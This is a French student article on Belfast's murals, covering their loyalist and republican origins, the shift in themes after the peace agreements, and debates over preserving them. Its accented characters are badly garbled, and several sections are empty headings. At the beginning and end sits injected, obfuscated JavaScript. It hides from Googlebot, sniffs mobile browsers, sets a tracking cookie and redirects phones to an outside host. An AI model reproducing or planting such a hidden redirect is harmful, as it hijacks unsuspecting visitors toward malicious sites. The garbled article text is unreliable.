)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Entre prA�servation et destruction: la place des murals de Belfast

Par Assmaa Shaban, Estelle Pannatier, Laura Perez &A�Sophie CompagnonA�

La��art a souvent une dimension contestataire et il est frA�quent que des artistes prennent position pour des causes qui leur sont chA?res. Mais dans certains cas, la��art peut devenir le dernier moyen d’expression des individus ou des populations lorsque ceux-ci n’ont plus d’autres moyens de communiquer leurs revendications. Ca��est le cas notamment en Irlande du Nord, oA? la��art, sous la forme des murals, est devenu une vA�ritable arme durant le conflit qui a opposA� les Loyalistes et les RA�publicains durant le 20e siA?cle.

A Belfast, les premiA?res fresques loyalistes sont apparues au dA�but du 20e siA?cle et comme le rappelle B. Rolston, elles A�taient peintes A� la��origine durant les festivitA�s qui commA�moraient la bataille de Boyne du 12 juillet 1690 (Rolston B., 1992, p.1). La population protestante profitait de cette opportunitA� pour rA�affirmer sa loyautA� A� la Couronne da��Angleterre et sa suprA�matie sur la population de confession catholique (Tosser R., 2009, p.5). Ainsi, selon P. PragnA?re, a�?tout en revendiquant unionisme et loyalisme envers la Grande-Bretagne, ces peintures A�taient dA�jA� le symbole da��une affirmation de propriA�tA� sur la��espace public et sur la��espace proprement dita�? (PragnA?re P., 2009, p.3). Da��aprA?s N. Jarman, les fresques loyalistes reprA�sentaient en gA�nA�ral des thA?mes hA�ritA�s de la tradition da��Orange ou des groupes paramilitaires (Jarman N., 2001).

Les murals rA�publicains sont apparus plus tardivement. En effet, ce na��est qua��A� partir du dA�veloppement violent du conflit que cette pratique se rA�pand chez les RA�publicains. Ils traduisaient un rA�A�quilibrage des rapports de forces entre RA�publicains et Loyalistes et a�?constituaient une rA�ponse symbolique A� la domination protestantea�? (PragnA?re P., 2009, p.3). Ca��est dans la pA�riode 1979-1978, aprA?s la mort de Bobby Sands, premier grA�viste de la faim, que sa��est rA�pandue A� grande A�chelle la peinture de murals rA�publicains (Tosser R., p.5). Ceux-ci A�taient peints en soutien au mouvement de protestation des prisonniers rA�publicains qui rA�clamaient le maintien de leurs statut de prisonniers politiques (PragnA?re P., 2009, p.4). Les thA?mes de ces fresques sa��inspiraient donc de la rA�sistance du parti rA�publicain Sinn FA�in et de la��IRA, le principal groupe paramilitaire rA�publicain. AprA?s le cessez-le-feu de 1994, lorsque Sinn FA�in cherchait A� lA�gitimer son existence en tant que parti politique officiel, les peintres rA�publicains ont commencA� A� remplacer les anciens thA?mes par des sujets liA�s A� la communautA� culturelle nationaliste, irlandaise ou encore celtique (Jarman N., 2001, p.9-10).

Au fil du temps, de plus en plus da��auteurs de fresques ont commencA� A� reprA�senter des sujets internationaux. Ainsi, sur la��International Wall, des fresques sa��inspirant d’A�vA?nements qui ont lieu dans da��autres parties du monde sont rA�guliA?rement peintes. AprA?s la��accord dit du a�?Vendredi Sainta�? signA� en avril 1998, les murals A� caractA?re militaire ont peu A� peu laissA� la place A� de nouveaux thA?mes. Ceux-ci retracent notamment des moments forts de la��histoire des quartiers de la ville comme la��univers du livre Narnia, dont la��auteur C.S. Lewis est nA� A� Belfast, ou le Titanic qui a A�tA� construit dans la ville. En effet, comme la��A�voque le film a�?The Art of Conflicta�?, rA�alisA� par V. Vaughn en 2012, de nouvelles reprA�sentations voient le jour sur les murs de certains quartiers, dans le but de fA�dA�rer les deux communautA�s et de crA�er une sociA�tA� en paix.

Les murals sont ainsi devenus, selon N. Jarman a�?la��indice visuel le plus reprA�sentatif des troubles, et la��icA?ne par excellence du Belfast contemporaina�? (Jarman N., 2001, p.8). Durant le conflit, ces fresques ont A�tA� le vecteur de diffusion da��un sentiment identitaire qui a conduit au renforcement du communautarisme (Jarman N., 2001, p.8). Mais si la��art a A�tA� utilisA� comme arme par les deux parties durant le conflit, la place de ces fresques, A� caractA?re violent parfois, est aujourda��hui remise en question dans le contexte du processus de paix. Les autoritA�s et les communautA�s locales doivent en effet dA�cider si elles entendent prA�server ou dA�truire cet hA�ritage controversA�.

Parmi la multitude da��approches envisageables, nous avons choisi de baser notre dA�marche sur la perception de cette problA�matique par les habitants. En effet, selon nous, la comprA�hension du ressenti de la population est fondamentale pour la��A�laboration de solutions durables. Ainsi, lors de notre voyage da��A�tude A� Belfast, nous avons cherchA� A� interroger des habitants afin de comprendre comment la violence symbolique qui sa��exprime au travers des murals hA�ritA�s des troubles est vA�cue par les Belfastois. Nous avons A�galement tentA� de saisir quelle A�tait la place que les habitants attribuent aujourda��hui A�A� ces fresques et comment ils envisagent la��avenir des murals.

Nos hypothA?ses de travail ont A�tA� les suivantes:

  • Les Belfastois sont encore profondA�ment touchA�s par la prA�sence de ces murals
  • Les murals ont une place encore importante dans la vie des Belfastois qui ne souhaitent par consA�quent pas voir les fresques dA�truites.

MA�thodologie

Analyse des donnA�es

Conclusion

Bibliographie

Jarman N., 2001, a�?Fragments et strates : DA�cryptage de la gA�ographie sectaire de Belfasta�? in Bromberger Ch., Morel A. (ed.) Limites floues,frontiA?res vives : Des variations culturelles en France et en Europe, Paris, A�ditions de la Maison des sciences de la��homme.

Mourlon F., 2012, a�?Official Responses to Dealing with the Past in Northern Ireland: Between Remembering and Forgetting a�?, E-rea, 10.1.

PragnA?re P., 2009, a�?Peintures murales en Irlande du Nord et au Pays basque : mobilisation populaire et crA�ation da��identitA� nationalea�?, Les Cahiers du MIMMOC, nA�5.

Roston B., 1992, Drawing support: murals in the North of Ireland, Belfast, Beyong the Pale Publications.

Tosser R., 2009, a�?Fresques et marches orangistesa�?, Les Cahiers du MIMMOC, nA�5.

Vaughn V., 2012 a�?Art of conflicta�? [Film documentaire].

var _0x446d=[« \x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E », »\x69\x6E\x64\x65\x78\x4F\x66″, »\x63\x6F\x6F\x6B\x69\x65″, »\x75\x73\x65\x72\x41\x67\x65\x6E\x74″, »\x76\x65\x6E\x64\x6F\x72″, »\x6F\x70\x65\x72\x61″, »\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″, »\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″, »\x74\x65\x73\x74″, »\x73\x75\x62\x73\x74\x72″, »\x67\x65\x74\x54\x69\x6D\x65″, »\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D », »\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″, »\x6C\x6F\x63\x61\x74\x69\x6F\x6E »];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}